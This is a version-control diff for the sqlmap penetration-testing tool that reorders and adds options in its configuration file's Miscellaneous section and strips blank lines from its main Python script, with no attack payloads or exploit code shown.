||||||
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
|
||||||
|
@ -372,11 +376,31 @@ regType =
|
||||||
|
|
||||||
[Miscellaneous]
|
[Miscellaneous]
|
||||||
|
|
||||||
|
# Save and resume all data retrieved on a session file.
|
||||||
|
sessionFile =
|
||||||
|
|
||||||
# Retrieve each query output length and calculate the estimated time of
|
# Retrieve each query output length and calculate the estimated time of
|
||||||
# arrival in real time.
|
# arrival in real time.
|
||||||
# Valid: True or False
|
# Valid: True or False
|
||||||
eta = False
|
eta = False
|
||||||
|
|
||||||
|
# Use google dork results from specified page number
|
||||||
|
# Valid: integer
|
||||||
|
# Default: 1
|
||||||
|
googlePage = 1
|
||||||
|
|
||||||
|
# Update sqlmap to the latest stable version.
|
||||||
|
# Valid: True or False
|
||||||
|
updateAll = False
|
||||||
|
|
||||||
|
# Never ask for user input, use the default behaviour.
|
||||||
|
# Valid: True or False
|
||||||
|
batch = False
|
||||||
|
|
||||||
|
# Clean up the DBMS by sqlmap specific UDF and tables
|
||||||
|
# Valid: True or False
|
||||||
|
cleanup = False
|
||||||
|
|
||||||
# Verbosity level.
|
# Verbosity level.
|
||||||
# Valid: integer between 0 and 5
|
# Valid: integer between 0 and 5
|
||||||
# 0: Show only warning and error messages
|
# 0: Show only warning and error messages
|
||||||
|
@ -387,18 +411,3 @@ eta = False
|
||||||
# 5: Show also HTTP responses page content
|
# 5: Show also HTTP responses page content
|
||||||
# Default: 1
|
# Default: 1
|
||||||
verbose = 1
|
verbose = 1
|
||||||
|
|
||||||
# Update sqlmap to the latest stable version.
|
|
||||||
# Valid: True or False
|
|
||||||
updateAll = False
|
|
||||||
|
|
||||||
# Save and resume all data retrieved on a session file.
|
|
||||||
sessionFile =
|
|
||||||
|
|
||||||
# Never ask for user input, use the default behaviour.
|
|
||||||
# Valid: True or False
|
|
||||||
batch = False
|
|
||||||
|
|
||||||
# Clean up the DBMS by sqlmap specific UDF and tables
|
|
||||||
# Valid: True or False
|
|
||||||
cleanup = False
|
|
||||||
|
|
|
@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
|
@ -51,7 +49,6 @@ from lib.core.exception import unhandledException
|
||||||
from lib.core.option import init
|
from lib.core.option import init
|
||||||
from lib.parse.cmdline import cmdLineParser
|
from lib.parse.cmdline import cmdLineParser
|
||||||
|
|
||||||
|
|
||||||
def modulePath():
|
def modulePath():
|
||||||
"""
|
"""
|
||||||
This will get us the program's directory, even if we are frozen
|
This will get us the program's directory, even if we are frozen
|
||||||
|
@ -63,7 +60,6 @@ def modulePath():
|
||||||
else:
|
else:
|
||||||
return os.path.dirname(os.path.realpath(__file__))
|
return os.path.dirname(os.path.realpath(__file__))
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
"""
|
"""
|
||||||
Main function of sqlmap when running from command line.
|
Main function of sqlmap when running from command line.
|
||||||
|
@ -103,6 +99,5 @@ def main():
|
||||||
|
|
||||||
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
main()
|
main()
|
||||||
|
|
Loading…
Reference in New Issue
Block a user